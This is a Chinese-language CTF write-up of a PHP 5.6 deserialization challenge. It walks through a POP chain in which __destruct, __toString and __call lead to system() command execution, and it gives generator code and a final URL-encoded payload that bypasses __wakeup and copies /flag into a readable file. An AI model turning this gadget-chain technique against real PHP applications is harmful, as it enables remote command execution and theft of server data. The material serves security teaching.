php反序列化练习
目标环境
- PHP/5.6.24
- linux
题目
<?php
highlight_file(__FILE__);
error_reporting(0);
class DM_NO_1{
private $a ;
public function __wakeup(){
$this->a = 'dmctf2019';
}
public function __destruct(){
if ($this->a != 'dmctf2020'){
die('2019 is out!');
}
}
}
class DM_NO_2{
private $b;
private $c;
private $d;
private $e;
public function __toString(){
$func = $this->c;
$func();
if(DM_NO_3::$flag){
$this->b->{$this->d}($this->e);
}
}
}
class DM_NO_3{
public static $flag = 0;
public function set_flag(){
self::$flag = 1;
}
function __call($name, $args){
$name(json_encode($args));
}
}
$pop = $_GET['pop'];
unserialize($pop);
知识点
- __wakeup将在序列化之后立即被调用,需要绕过
- __destruct当一个对象销毁时被调用
- __toString当一个对象被当作一个字符串使用
- __call当调用一个不存在的函数时调用此方法
WP
根据代码
unserialize($pop);
反序列化相应数据。$pop = $_GET['pop']; unserialize($pop);
__wakeup被调用后,只有
$this->a = 'dmctf2019';
赋值语句,且__destruct存在字符串比较函数,因此$this->a为DM_NO_2对象。class DM_NO_1{ private $a ; public function __wakeup(){ $this->a = 'dmctf2019'; } public function __destruct(){ if ($this->a != 'dmctf2020'){ die('2019 is out!'); } } }
DM_NO_2的__toString函数有
if(DM_NO_3::$flag)
判断,因此$func();
需要调用DM_NO_3的set_flag
函数,$this->c则为set_flag。$this->b
为DM_NO_3对象,$this->d为相关函数调用,$this->e为相关方法。class DM_NO_2{ private $b; private $c; private $d; private $e; public function __toString(){ $func = $this->c; $func(); if(DM_NO_3::$flag){ $this->b->{$this->d}($this->e); } } }
DM_NO_3的__call方法调用不存在的方法时,会走到
$name(json_encode($args));
,$name和$args为DM_NO_2相关可控参数,json_encode会转为json字符串,且__call调用时会把$args转为Array类型,转为字符串则包含'[xxx]'字符串,这里需要用到linux平台的特定知识,反引号会作为命令优先执行,这样就不怕system命令执行失败。class DM_NO_3{ public static $flag = 0; public function set_flag(){ self::$flag = 1; } function __call($name, $args){ $name(json_encode($args)); } }
构造序列化数据。
<?php class DM_NO_1{ public $a ; public function __wakeup(){ $this->a = 'dmctf2019'; } public function __destruct(){ if ($this->a != 'dmctf2020'){ die('2019 is out!'); } } } class DM_NO_2{ public $b; public $c; public $d; public $e; public function __toString(){ $func = $this->c; $func(); if(DM_NO_3::$flag){ $this->b->{$this->d}($this->e); } } } class DM_NO_3{ public static $flag = 0; public function set_flag(){ self::$flag = 1; } function __call($name, $args){ $name(json_encode($args)); } } $demo1 = new DM_NO_1(); $demo2 = new DM_NO_2(); $demo3 = new DM_NO_3(); $demo2->b=$demo3; $demo2->c=[$demo3,'set_flag']; $demo2->d='system'; $demo2->e='`cat /flag > test.txt`'; $demo1->a=$demo2; echo serialize($demo1); ?>
- 获取序列化数据为
O:7:"DM_NO_1":1:{s:1:"a";O:7:"DM_NO_2":4:{s:1:"b";O:7:"DM_NO_3":0:{}s:1:"c";a:2:{i:0;r:3;i:1;s:8:"set_flag";}s:1:"d";s:6:"system";s:1:"e";s:22:"`cat /flag > test.txt`";}}
,因为变量是私有变量,因此补充a为%00DM_NO_1%00a等等,最终的payload为:O:7:%22DM_NO_1%22:4:{s:10:%22%00DM_NO_1%00a%22;O:7:%22DM_NO_2%22:4:{s:10:%22%00DM_NO_2%00b%22;O:7:%22DM_NO_3%22:0:{}s:10:%22%00DM_NO_2%00c%22;a:2:{i:0;r:3;i:1;s:8:%22set_flag%22;}s:10:%22%00DM_NO_2%00d%22;s:6:%22system%22;s:10:%22%00DM_NO_2%00e%22;s:22:%22`cat%20/flag%20%3E%20test.txt`%22;}}
。最后访问输出的txt即可。 - 如图